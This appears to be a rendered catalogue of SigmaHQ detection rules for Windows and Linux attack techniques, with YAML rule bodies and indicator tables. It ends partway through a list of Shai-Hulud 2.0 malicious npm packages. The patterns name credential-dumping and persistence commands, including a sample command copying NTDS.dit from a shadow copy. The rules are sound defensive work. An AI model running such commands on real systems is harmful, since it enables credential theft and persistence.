    EventID: 4624
    Computer: '%domain_controllers%'
    TargetUserSid: S-1-5-21-
    LogonType: 3
    AuthenticationPackageName: Kerberos

  selection_share:
    EventID: 5145
    Computer: '%domain_controllers%'
    ShareName: \\*\IPC$
    RelativeTargetName: NETLOGON

  filter:
    - SubjectUserName|endswith: $
    - SubjectUserSid: S-1-5-7 #  ANONYMOUS LOGON
    - IpAddress:
      - '%domain_controllers%'
      - '%exchange_servers%'

  condition: selection_login and selection_share and not filter
falsepositives:
- Exchange servers
level: high

Stages and Predicates

Stage 0: condition

selection_login and selection_share and not filter

Stage 1: selection_login

selection_login:
  EventID: 4624
  Computer: '%domain_controllers%'
  TargetUserSid: S-1-5-21-
  LogonType: 3
  AuthenticationPackageName: Kerberos

Stage 2: selection_share

selection_share:
  EventID: 5145
  Computer: '%domain_controllers%'
  ShareName: \\*\IPC$
  RelativeTargetName: NETLOGON

Stage 3: not filter

filter:
  - SubjectUserName|endswith: $
  - SubjectUserSid: S-1-5-7
  - IpAddress:
    - '%domain_controllers%'
    - '%exchange_servers%'

Indicators

These rows show field, operator, and value matches.

Exclusions

The rule actively suppresses these predicates.

Potential Discovery Activity Via Dnscmd.EXE

#
Status
test
Severity
medium
Author
@gott_cyber
Source
github.com/SigmaHQ/sigma

Detects an attempt to leverage dnscmd.exe to enumerate the DNS zones of a domain. DNS zones used to host the DNS records for a particular domain.

Known False Positives

  • Legitimate administration use

MITRE ATT&CK Coverage

TacticTechniques
ExecutionNo specific technique
DiscoveryNo specific technique

Telemetry Coverage

Rule Body

title: Potential Discovery Activity Via Dnscmd.EXE
id: b6457d63-d2a2-4e29-859d-4e7affc153d1
status: test
description: Detects an attempt to leverage dnscmd.exe to enumerate the DNS zones of a domain. DNS zones used to host the DNS records for a particular domain.
references:
    - https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/dnscmd
    - https://learn.microsoft.com/en-us/azure/dns/dns-zones-records
    - https://lolbas-project.github.io/lolbas/Binaries/Dnscmd/
author: '@gott_cyber'
date: 2022-07-31
modified: 2023-02-04
tags:
    - attack.discovery
    - attack.execution
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        Image|endswith: '\dnscmd.exe'
    selection_cli:
        CommandLine|contains:
            - '/enumrecords'
            - '/enumzones'
            - '/ZonePrint'
            - '/info'
    condition: all of selection_*
falsepositives:
    - Legitimate administration use
level: medium

Stages and Predicates

Stage 0: condition

all of selection_*

Stage 1: selection_img

selection_img:
    Image|endswith: '\dnscmd.exe'

Stage 2: selection_cli

selection_cli:
    CommandLine|contains:
        - '/enumrecords'
        - '/enumzones'
        - '/ZonePrint'
        - '/info'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • /ZonePrint
  • /enumrecords
  • /enumzones
  • /info
field:"CommandLine" kind:match
Imageends_with
  • \dnscmd.exe corpus 3 (sigma 3)
field:"Image" kind:ends_with value:"\dnscmd.exe"

Potential Persistence Attempt Via Existing Service Tampering

#
Status
test
Severity
medium
Author
Sreeman
Source
github.com/SigmaHQ/sigma

Detects the modification of an existing service in order to execute an arbitrary payload when the service is started or killed as a potential method for persistence.

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: Potential Persistence Attempt Via Existing Service Tampering
id: 38879043-7e1e-47a9-8d46-6bec88e201df
status: test
description: Detects the modification of an existing service in order to execute an arbitrary payload when the service is started or killed as a potential method for persistence.
references:
    - https://pentestlab.blog/2020/01/22/persistence-modify-existing-service/
author: Sreeman
date: 2020-09-29
modified: 2023-02-04
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.execution
    - attack.stealth
    - attack.t1543.003
    - attack.t1574.011
logsource:
    category: process_creation
    product: windows
detection:
    selection_sc:
        - CommandLine|contains|all:
              - 'sc '
              - 'config '
              - 'binpath='
        - CommandLine|contains|all:
              - 'sc '
              - 'failure'
              - 'command='
    selection_reg_img:
        - CommandLine|contains|all:
              - 'reg '
              - 'add '
              - 'FailureCommand'
        - CommandLine|contains|all:
              - 'reg '
              - 'add '
              - 'ImagePath'
    selection_reg_ext:
        CommandLine|contains:
            - '.sh'
            - '.exe'
            - '.dll'
            - '.bin$'
            - '.bat'
            - '.cmd'
            - '.js'
            - '.msh$'
            - '.reg$'
            - '.scr'
            - '.ps'
            - '.vb'
            - '.jar'
            - '.pl'
    condition: selection_sc or all of selection_reg_*
falsepositives:
    - Unknown
level: medium

Stages and Predicates

Stage 0: condition

selection_sc or all of selection_reg_*

Stage 1: selection_sc

selection_sc:
    - CommandLine|contains|all:
          - 'sc '
          - 'config '
          - 'binpath='
    - CommandLine|contains|all:
          - 'sc '
          - 'failure'
          - 'command='

Stage 2: selection_reg_img

selection_reg_img:
    - CommandLine|contains|all:
          - 'reg '
          - 'add '
          - 'FailureCommand'
    - CommandLine|contains|all:
          - 'reg '
          - 'add '
          - 'ImagePath'

Stage 3: selection_reg_ext

selection_reg_ext:
    CommandLine|contains:
        - '.sh'
        - '.exe'
        - '.dll'
        - '.bin$'
        - '.bat'
        - '.cmd'
        - '.js'
        - '.msh$'
        - '.reg$'
        - '.scr'
        - '.ps'
        - '.vb'
        - '.jar'
        - '.pl'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • .bat corpus 10 (sigma 9, elastic 1)
  • .bin$
  • .cmd corpus 6 (sigma 5, elastic 1)
  • .dll corpus 16 (sigma 16)
  • .exe corpus 5 (sigma 5)
  • .jar corpus 2 (sigma 2)
  • .js corpus 9 (sigma 9)
  • .msh$
  • .pl corpus 2 (sigma 2)
  • .ps corpus 3 (sigma 3)
  • .reg$
  • .scr corpus 5 (sigma 5)
  • .sh corpus 2 (sigma 2)
  • .vb corpus 3 (sigma 3)
  • FailureCommand corpus 3 (sigma 3)
  • ImagePath corpus 3 (sigma 3)
  • add corpus 12 (sigma 12)
  • binpath= corpus 2 (sigma 2)
  • command=
  • config corpus 2 (sigma 2)
  • failure corpus 3 (sigma 3)
  • reg corpus 5 (sigma 5)
  • sc
field:"CommandLine" kind:match

Potentially Suspicious Rundll32.EXE Execution of UDL File

#
Status
test
Severity
medium
Author
@kostastsale
Source
github.com/SigmaHQ/sigma

Detects the execution of rundll32.exe with the oledb32.dll library to open a UDL file. Threat actors can abuse this technique as a phishing vector to capture authentication credentials or other sensitive data.

Known False Positives

  • UDL files serve as a convenient and flexible tool for managing and testing database connections in various development and administrative scenarios.

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: Potentially Suspicious Rundll32.EXE Execution of UDL File
id: 0ea52357-cd59-4340-9981-c46c7e900428
status: test
description: |
    Detects the execution of rundll32.exe with the oledb32.dll library to open a UDL file.
    Threat actors can abuse this technique as a phishing vector to capture authentication credentials or other sensitive data.
references:
    - https://trustedsec.com/blog/oops-i-udld-it-again
author: '@kostastsale'
date: 2024-08-16
tags:
    - attack.execution
    - attack.command-and-control
    - attack.stealth
    - attack.t1218.011
    - attack.t1071
logsource:
    category: process_creation
    product: windows
detection:
    selection_parent:
        ParentImage|endswith: '\explorer.exe'
    selection_img:
        - Image|endswith: '\rundll32.exe'
        - OriginalFileName: 'RUNDLL32.EXE'
    selection_cli:
        CommandLine|contains|all:
            - 'oledb32.dll'
            - ',OpenDSLFile '
            - '\\Users\\*\\Downloads\\' # Note: You can adjust the path to the download directory or other directories according to your environment.
        CommandLine|endswith: '.udl'
    condition: all of selection_*
falsepositives:
    - UDL files serve as a convenient and flexible tool for managing and testing database connections in various development and administrative scenarios.
level: medium

Stages and Predicates

Stage 0: condition

all of selection_*

Stage 1: selection_parent

selection_parent:
    ParentImage|endswith: '\explorer.exe'

Stage 2: selection_img

selection_img:
    - Image|endswith: '\rundll32.exe'
    - OriginalFileName: 'RUNDLL32.EXE'

Stage 3: selection_cli

selection_cli:
    CommandLine|contains|all:
        - 'oledb32.dll'
        - ',OpenDSLFile '
        - '\\Users\\*\\Downloads\\'
    CommandLine|endswith: '.udl'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLineends_with
  • .udl
field:"CommandLine" kind:ends_with value:".udl"
CommandLinematch
  • ,OpenDSLFile
  • \\Users\\*\\Downloads\\
  • oledb32.dll
field:"CommandLine" kind:match
Imageends_with
  • \rundll32.exe corpus 94 (sigma 94)
field:"Image" kind:ends_with value:"\rundll32.exe"
OriginalFileNameeq
  • RUNDLL32.EXE corpus 72 (sigma 35, splunk 21, elastic 16)
field:"OriginalFileName" kind:eq value:"RUNDLL32.EXE"
ParentImageends_with
  • \explorer.exe corpus 15 (sigma 13, splunk 2)
field:"ParentImage" kind:ends_with value:"\explorer.exe"

PowerShell Core DLL Loaded By Non PowerShell Process

#
Status
test
Severity
medium
Author
Tom Kern, oscd.community, Natalia Shornikova, Tim Shelton, Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)
Source
github.com/SigmaHQ/sigma

Detects loading of essential DLLs used by PowerShell by non-PowerShell process. Detects behavior similar to meterpreter's "load powershell" extension.

Known False Positives

  • Used by some .NET binaries, minimal on user workstation.
  • Used by Microsoft SQL Server Management Studio

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 7: Image loaded

Rule Body

title: PowerShell Core DLL Loaded By Non PowerShell Process
id: 092bc4b9-3d1d-43b4-a6b4-8c8acd83522f
related:
    - id: 867613fb-fa60-4497-a017-a82df74a172c
      type: obsolete
    - id: fe6e002f-f244-4278-9263-20e4b593827f
      type: obsolete
status: test
description: |
    Detects loading of essential DLLs used by PowerShell by non-PowerShell process.
    Detects behavior similar to meterpreter's "load powershell" extension.
references:
    - https://adsecurity.org/?p=2921
    - https://github.com/p3nt4/PowerShdll
author: Tom Kern, oscd.community, Natalia Shornikova, Tim Shelton, Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)
date: 2019-11-14
modified: 2026-07-28
tags:
    - attack.t1059.001
    - attack.execution
logsource:
    category: image_load
    product: windows
detection:
    selection:
        - Description: 'System.Management.Automation'
        - OriginalFileName: 'System.Management.Automation.dll'
        - ImageLoaded|endswith:
              - '\System.Management.Automation.dll'
              - '\System.Management.Automation.ni.dll'
    filter_main_powershell:
        Image:
            - 'C:\Program Files\PowerShell\7-preview\pwsh.exe' # PowerShell 7 preview
            - 'C:\Program Files\PowerShell\7\pwsh.exe' # PowerShell 7
            - 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe'
            - 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
            - 'C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe'
            - 'C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe'
    filter_main_pwsh_preview:
        Image|contains:
            - 'C:\Program Files\WindowsApps\Microsoft.PowerShellPreview'
            - '\AppData\Local\Microsoft\WindowsApps\Microsoft.PowerShellPreview'
        Image|endswith: '\pwsh.exe'
    filter_main_generic:
        Image:
            - 'C:\Windows\System32\dsac.exe'
            - 'C:\WINDOWS\System32\RemoteFXvGPUDisablement.exe'
            - 'C:\Windows\System32\runscripthelper.exe'
            - 'C:\WINDOWS\System32\sdiagnhost.exe'
            - 'C:\Windows\System32\ServerManager.exe'
            - 'C:\Windows\System32\SyncAppvPublishingServer.exe'
            - 'C:\Windows\System32\winrshost.exe'
            - 'C:\Windows\System32\wsmprovhost.exe'
            - 'C:\Windows\SysWOW64\winrshost.exe'
            - 'C:\Windows\SysWOW64\wsmprovhost.exe'
    filter_main_dotnet:
        Image|startswith:
            - 'C:\Windows\Microsoft.NET\Framework\'
            - 'C:\Windows\Microsoft.NET\FrameworkArm\'
            - 'C:\Windows\Microsoft.NET\FrameworkArm64\'
            - 'C:\Windows\Microsoft.NET\Framework64\'
        Image|endswith: '\mscorsvw.exe'
    filter_optional_gethelp:
        Image|startswith: 'C:\Program Files\WindowsApps\Microsoft.GetHelp_'
        Image|endswith: '\GetHelp.exe'
    filter_optional_sql_server_mgmt:
        Image|startswith:
            - 'C:\Program Files (x86)\Microsoft SQL Server Management Studio'
            - 'C:\Program Files\Microsoft SQL Server Management Studio'
        Image|endswith: '\IDE\Ssms.exe'
    filter_optional_sql_server_tools:
        Image|startswith:
            - 'C:\Program Files (x86)\Microsoft SQL Server\'
            - 'C:\Program Files\Microsoft SQL Server\'
        Image|endswith: '\Tools\Binn\SQLPS.exe'
    filter_optional_citrix:
        Image|endswith: '\Citrix\ConfigSync\ConfigSyncRun.exe'
    filter_optional_vs:
        Image|startswith:
            - 'C:\Program Files (x86)\Microsoft Visual Studio\'
            - 'C:\Program Files\Microsoft Visual Studio\'
    filter_optional_chocolatey:
        Image|startswith: 'C:\ProgramData\chocolatey\choco.exe'
    filter_optional_nextron:
        Image|startswith: 'C:\Windows\Temp\asgard2-agent\'
        Image|endswith:
            - '\thor64.exe'
            - '\thor.exe'
        # User: 'NT AUTHORITY\SYSTEM'   # if set, matches all powershell processes not launched by SYSTEM
    filter_optional_aurora:
        # This filter is to avoid a race condition FP with this specific ETW provider in aurora
        Image: null
    condition: selection and not 1 of filter_main_* and not 1 of filter_optional_*
falsepositives:
    - Used by some .NET binaries, minimal on user workstation.
    - Used by Microsoft SQL Server Management Studio
level: medium

Stages and Predicates

Stage 0: condition

selection and not 1 of filter_main_* and not 1 of filter_optional_*

Stage 1: selection

selection:
    - Description: 'System.Management.Automation'
    - OriginalFileName: 'System.Management.Automation.dll'
    - ImageLoaded|endswith:
          - '\System.Management.Automation.dll'
          - '\System.Management.Automation.ni.dll'

Stage 2: not filter_main_*

filter_main_powershell:
    Image:
        - 'C:\Program Files\PowerShell\7-preview\pwsh.exe'
        - 'C:\Program Files\PowerShell\7\pwsh.exe'
        - 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe'
        - 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
        - 'C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe'
        - 'C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe'
filter_main_pwsh_preview:
    Image|contains:
        - 'C:\Program Files\WindowsApps\Microsoft.PowerShellPreview'
        - '\AppData\Local\Microsoft\WindowsApps\Microsoft.PowerShellPreview'
    Image|endswith: '\pwsh.exe'
filter_main_generic:
    Image:
        - 'C:\Windows\System32\dsac.exe'
        - 'C:\WINDOWS\System32\RemoteFXvGPUDisablement.exe'
        - 'C:\Windows\System32\runscripthelper.exe'
        - 'C:\WINDOWS\System32\sdiagnhost.exe'
        - 'C:\Windows\System32\ServerManager.exe'
        - 'C:\Windows\System32\SyncAppvPublishingServer.exe'
        - 'C:\Windows\System32\winrshost.exe'
        - 'C:\Windows\System32\wsmprovhost.exe'
        - 'C:\Windows\SysWOW64\winrshost.exe'
        - 'C:\Windows\SysWOW64\wsmprovhost.exe'
filter_main_dotnet:
    Image|startswith:
        - 'C:\Windows\Microsoft.NET\Framework\'
        - 'C:\Windows\Microsoft.NET\FrameworkArm\'
        - 'C:\Windows\Microsoft.NET\FrameworkArm64\'
        - 'C:\Windows\Microsoft.NET\Framework64\'
    Image|endswith: '\mscorsvw.exe'

Stage 3: not filter_optional_*

filter_optional_gethelp:
    Image|startswith: 'C:\Program Files\WindowsApps\Microsoft.GetHelp_'
    Image|endswith: '\GetHelp.exe'
filter_optional_sql_server_mgmt:
    Image|startswith:
        - 'C:\Program Files (x86)\Microsoft SQL Server Management Studio'
        - 'C:\Program Files\Microsoft SQL Server Management Studio'
    Image|endswith: '\IDE\Ssms.exe'
filter_optional_sql_server_tools:
    Image|startswith:
        - 'C:\Program Files (x86)\Microsoft SQL Server\'
        - 'C:\Program Files\Microsoft SQL Server\'
    Image|endswith: '\Tools\Binn\SQLPS.exe'
filter_optional_citrix:
    Image|endswith: '\Citrix\ConfigSync\ConfigSyncRun.exe'
filter_optional_vs:
    Image|startswith:
        - 'C:\Program Files (x86)\Microsoft Visual Studio\'
        - 'C:\Program Files\Microsoft Visual Studio\'
filter_optional_chocolatey:
    Image|startswith: 'C:\ProgramData\chocolatey\choco.exe'
filter_optional_nextron:
    Image|startswith: 'C:\Windows\Temp\asgard2-agent\'
    Image|endswith:
        - '\thor64.exe'
        - '\thor.exe'
filter_optional_aurora:
    Image: null

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
Descriptioneq
  • System.Management.Automation
field:"Description" kind:eq value:"System.Management.Automation"
ImageLoadedends_with
  • \System.Management.Automation.dll
  • \System.Management.Automation.ni.dll
field:"ImageLoaded" kind:ends_with
OriginalFileNameeq
  • System.Management.Automation.dll
field:"OriginalFileName" kind:eq value:"System.Management.Automation.dll"

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
ImagematchC:\Program Files\WindowsApps\Microsoft.PowerShellPreviewexcludes:Image field:"Image" value:"C:\Program Files\WindowsApps\Microsoft.PowerShellPreview"
Imagematch\AppData\Local\Microsoft\WindowsApps\Microsoft.PowerShellPreviewexcludes:Image field:"Image" value:"\AppData\Local\Microsoft\WindowsApps\Microsoft.PowerShellPreview"
Imageends_with\pwsh.exeexcludes:Image field:"Image" value:"\pwsh.exe"
Imagestarts_withC:\Windows\Microsoft.NET\Framework64\excludes:Image field:"Image" value:"C:\Windows\Microsoft.NET\Framework64\"
Imagestarts_withC:\Windows\Microsoft.NET\FrameworkArm64\excludes:Image field:"Image" value:"C:\Windows\Microsoft.NET\FrameworkArm64\"
Imagestarts_withC:\Windows\Microsoft.NET\FrameworkArm\excludes:Image field:"Image" value:"C:\Windows\Microsoft.NET\FrameworkArm\"
Imagestarts_withC:\Windows\Microsoft.NET\Framework\excludes:Image field:"Image" value:"C:\Windows\Microsoft.NET\Framework\"
Imageends_with\mscorsvw.exeexcludes:Image field:"Image" value:"\mscorsvw.exe"
ImageeqC:\Program Files\PowerShell\7-preview\pwsh.exeexcludes:Image field:"Image" value:"C:\Program Files\PowerShell\7-preview\pwsh.exe"
ImageeqC:\Program Files\PowerShell\7\pwsh.exeexcludes:Image field:"Image" value:"C:\Program Files\PowerShell\7\pwsh.exe"
ImageeqC:\WINDOWS\System32\RemoteFXvGPUDisablement.exeexcludes:Image field:"Image" value:"C:\WINDOWS\System32\RemoteFXvGPUDisablement.exe"
ImageeqC:\WINDOWS\System32\sdiagnhost.exeexcludes:Image field:"Image" value:"C:\WINDOWS\System32\sdiagnhost.exe"
ImageeqC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeexcludes:Image field:"Image" value:"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
ImageeqC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exeexcludes:Image field:"Image" value:"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe"
ImageeqC:\Windows\SysWOW64\winrshost.exeexcludes:Image field:"Image" value:"C:\Windows\SysWOW64\winrshost.exe"
ImageeqC:\Windows\SysWOW64\wsmprovhost.exeexcludes:Image field:"Image" value:"C:\Windows\SysWOW64\wsmprovhost.exe"
ImageeqC:\Windows\System32\ServerManager.exeexcludes:Image field:"Image" value:"C:\Windows\System32\ServerManager.exe"
ImageeqC:\Windows\System32\SyncAppvPublishingServer.exeexcludes:Image field:"Image" value:"C:\Windows\System32\SyncAppvPublishingServer.exe"
ImageeqC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeexcludes:Image field:"Image" value:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
ImageeqC:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exeexcludes:Image field:"Image" value:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe"
ImageeqC:\Windows\System32\dsac.exeexcludes:Image field:"Image" value:"C:\Windows\System32\dsac.exe"
ImageeqC:\Windows\System32\runscripthelper.exeexcludes:Image field:"Image" value:"C:\Windows\System32\runscripthelper.exe"
ImageeqC:\Windows\System32\winrshost.exeexcludes:Image field:"Image" value:"C:\Windows\System32\winrshost.exe"
ImageeqC:\Windows\System32\wsmprovhost.exeexcludes:Image field:"Image" value:"C:\Windows\System32\wsmprovhost.exe"
Imageends_with\thor.exeexcludes:Image field:"Image" value:"\thor.exe"
Imageends_with\thor64.exeexcludes:Image field:"Image" value:"\thor64.exe"
Imagestarts_withC:\Windows\Temp\asgard2-agent\excludes:Image field:"Image" value:"C:\Windows\Temp\asgard2-agent\"
Imagestarts_withC:\Program Files (x86)\Microsoft SQL Server Management Studioexcludes:Image field:"Image" value:"C:\Program Files (x86)\Microsoft SQL Server Management Studio"
Imagestarts_withC:\Program Files\Microsoft SQL Server Management Studioexcludes:Image field:"Image" value:"C:\Program Files\Microsoft SQL Server Management Studio"
Imageends_with\IDE\Ssms.exeexcludes:Image field:"Image" value:"\IDE\Ssms.exe"
Imagestarts_withC:\Program Files (x86)\Microsoft SQL Server\excludes:Image field:"Image" value:"C:\Program Files (x86)\Microsoft SQL Server\"
Imagestarts_withC:\Program Files\Microsoft SQL Server\excludes:Image field:"Image" value:"C:\Program Files\Microsoft SQL Server\"
Imageends_with\Tools\Binn\SQLPS.exeexcludes:Image field:"Image" value:"\Tools\Binn\SQLPS.exe"
Imageends_with\GetHelp.exeexcludes:Image field:"Image" value:"\GetHelp.exe"
Imagestarts_withC:\Program Files\WindowsApps\Microsoft.GetHelp_excludes:Image field:"Image" value:"C:\Program Files\WindowsApps\Microsoft.GetHelp_"
Imageends_with\Citrix\ConfigSync\ConfigSyncRun.exeexcludes:Image field:"Image" value:"\Citrix\ConfigSync\ConfigSyncRun.exe"
Imageis_null(no value, null check)excludes:Image
Imagestarts_withC:\Program Files (x86)\Microsoft Visual Studio\excludes:Image field:"Image" value:"C:\Program Files (x86)\Microsoft Visual Studio\"
Imagestarts_withC:\Program Files\Microsoft Visual Studio\excludes:Image field:"Image" value:"C:\Program Files\Microsoft Visual Studio\"
Imagestarts_withC:\ProgramData\chocolatey\choco.exeexcludes:Image field:"Image" value:"C:\ProgramData\chocolatey\choco.exe"

PsExec Service Child Process Execution as LOCAL SYSTEM

#
Status
test
Severity
high
Author
Florian Roth (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects suspicious launch of the PSEXESVC service on this system and a sub process run as LOCAL_SYSTEM (-s), which means that someone remotely started a command on this system running it with highest privileges and not only the privileges of the login user account (e.g. the administrator account)

Known False Positives

  • Users that debug Microsoft Intune issues using the commands mentioned in the official documentation; see https://learn.microsoft.com/en-us/mem/intune/apps/intune-management-extension

MITRE ATT&CK Coverage

TacticTechniques
ExecutionNo specific technique

Telemetry Coverage

Rule Body

title: PsExec Service Child Process Execution as LOCAL SYSTEM
id: 7c0dcd3d-acf8-4f71-9570-f448b0034f94
related:
    - id: fa91cc36-24c9-41ce-b3c8-3bbc3f2f67ba
      type: similar
status: test
description: Detects suspicious launch of the PSEXESVC service on this system and a sub process run as LOCAL_SYSTEM (-s), which means that someone remotely started a command on this system running it with highest privileges and not only the privileges of the login user account (e.g. the administrator account)
references:
    - https://learn.microsoft.com/en-us/sysinternals/downloads/psexec
author: Florian Roth (Nextron Systems)
date: 2022-07-21
modified: 2023-02-28
tags:
    - attack.execution
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage: 'C:\Windows\PSEXESVC.exe'
        User|contains: # covers many language settings
            - 'AUTHORI'
            - 'AUTORI'
    condition: selection
falsepositives:
    - Users that debug Microsoft Intune issues using the commands mentioned in the official documentation; see https://learn.microsoft.com/en-us/mem/intune/apps/intune-management-extension
level: high
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_sysinternals_psexesvc_as_system/info.yml

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    ParentImage: 'C:\Windows\PSEXESVC.exe'
    User|contains:
        - 'AUTHORI'
        - 'AUTORI'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
ParentImageeq
  • C:\Windows\PSEXESVC.exe
field:"ParentImage" kind:eq value:"C:\Windows\PSEXESVC.exe"
Usermatch
  • AUTHORI corpus 14 (sigma 14)
  • AUTORI corpus 14 (sigma 14)
field:"user" kind:match

Security Privileges Enumeration Via Whoami.EXE

#
Status
test
Severity
high
Author
Florian Roth (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects a whoami.exe executed with the /priv command line flag instructing the tool to show all current user privileges. This is often used after a privilege escalation attempt.

MITRE ATT&CK Coverage

TacticTechniques
Discovery

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: Security Privileges Enumeration Via Whoami.EXE
id: 97a80ec7-0e2f-4d05-9ef4-65760e634f6b
status: test
description: Detects a whoami.exe executed with the /priv command line flag instructing the tool to show all current user privileges. This is often used after a privilege escalation attempt.
references:
    - https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/whoami
author: Florian Roth (Nextron Systems)
date: 2021-05-05
modified: 2023-02-28
tags:
    - attack.privilege-escalation
    - attack.discovery
    - attack.t1033
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith: '\whoami.exe'
        - OriginalFileName: 'whoami.exe'
    selection_cli:
        CommandLine|contains:
            - ' /priv'
            - ' -priv'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_whoami_priv_discovery/info.yml

Stages and Predicates

Stage 0: condition

all of selection_*

Stage 1: selection_img

selection_img:
    - Image|endswith: '\whoami.exe'
    - OriginalFileName: 'whoami.exe'

Stage 2: selection_cli

selection_cli:
    CommandLine|contains:
        - ' /priv'
        - ' -priv'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • -priv
  • /priv
field:"CommandLine" kind:match
Imageends_with
  • \whoami.exe corpus 19 (sigma 19)
field:"Image" kind:ends_with value:"\whoami.exe"
OriginalFileNameeq
  • whoami.exe corpus 11 (sigma 9, elastic 1, splunk 1)
field:"OriginalFileName" kind:eq value:"whoami.exe"

Sensitive File Access Via Volume Shadow Copy Backup

#
Status
test
Severity
high
Author
Max Altgelt (Nextron Systems), Tobias Michalski (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects a command that accesses the VolumeShadowCopy in order to extract sensitive files such as the Security or SAM registry hives or the AD database (ntds.dit)

Known False Positives

  • Unlikely

MITRE ATT&CK Coverage

TacticTechniques
Impact

Telemetry Coverage

Rule Body

title: Sensitive File Access Via Volume Shadow Copy Backup
id: f57f8d16-1f39-4dcb-a604-6c73d9b54b3d
status: test
description: |
    Detects a command that accesses the VolumeShadowCopy in order to extract sensitive files such as the Security or SAM registry hives or the AD database (ntds.dit)
references:
    - https://twitter.com/vxunderground/status/1423336151860002816?s=20
    - https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection
    - https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/
author: Max Altgelt (Nextron Systems), Tobias Michalski (Nextron Systems)
date: 2021-08-09
modified: 2024-01-18
tags:
    - attack.impact
    - attack.t1490
logsource:
    category: process_creation
    product: windows
detection:
    selection_1:
        # copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\ntds.dit 2>&1
        # There is an additional "\" to escape the special "?"
        CommandLine|contains: '\\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy'
    selection_2:
        CommandLine|contains:
            - '\\NTDS.dit'
            - '\\SYSTEM'
            - '\\SECURITY'
    condition: all of selection_*
falsepositives:
    - Unlikely
level: high
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_susp_sensitive_file_access_shadowcopy/info.yml

Stages and Predicates

Stage 0: condition

all of selection_*

Stage 1: selection_1

selection_1:
    CommandLine|contains: '\\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy'

Stage 2: selection_2

selection_2:
    CommandLine|contains:
        - '\\NTDS.dit'
        - '\\SYSTEM'
        - '\\SECURITY'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • \\NTDS.dit
  • \\SECURITY
  • \\SYSTEM
  • \\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy corpus 2 (sigma 2)
field:"CommandLine" kind:match

Shai-Hulud 2.0 Malicious NPM Package Installation - Linux

#
Status
experimental
Severity
high
Author
Swachchhanda Shrawan Poudel (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects the command-line installation of specific malicious npm packages and versions associated with the Shai-Hulud 2.0 supply chain attack.

MITRE ATT&CK Coverage

Telemetry Coverage

PlatformRecord / event type
LinuxEvent ID 1: Process Create

Rule Body

title: Shai-Hulud 2.0 Malicious NPM Package Installation - Linux
id: 514f533b-f56e-421d-80b0-f7706a3e9d23
related:
    - id: bae7c70b-8569-44e9-accf-b30073da8a5d
      type: similar
status: experimental
description: |
    Detects the command-line installation of specific malicious npm packages and versions associated with the Shai-Hulud 2.0 supply chain attack.
references:
    - https://www.wiz.io/blog/shai-hulud-2-0-ongoing-supply-chain-attack
    - https://github.com/wiz-sec-public/wiz-research-iocs/blob/a836ce8aacf12d6d2f6afc3c44b391dc4c08f46e/reports/shai-hulud-2-packages.csv
author: Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2025-11-28
tags:
    - attack.initial-access
    - attack.execution
    - attack.t1195.002
    - detection.emerging-threats
logsource:
    category: process_creation
    product: linux
detection:
    selection_img:
        Image|endswith: '\node'
        CommandLine|contains:
            - 'install'
            - ' i '
  # List of known malicious packages and versions from the Shai-Hulud 2.0 campaign
    selection_packages:
        CommandLine|contains:
            - '02-echo@0.0.7'
            - '@accordproject/concerto-analysis@3.24.1'
            - '@accordproject/concerto-linter@3.24.1'
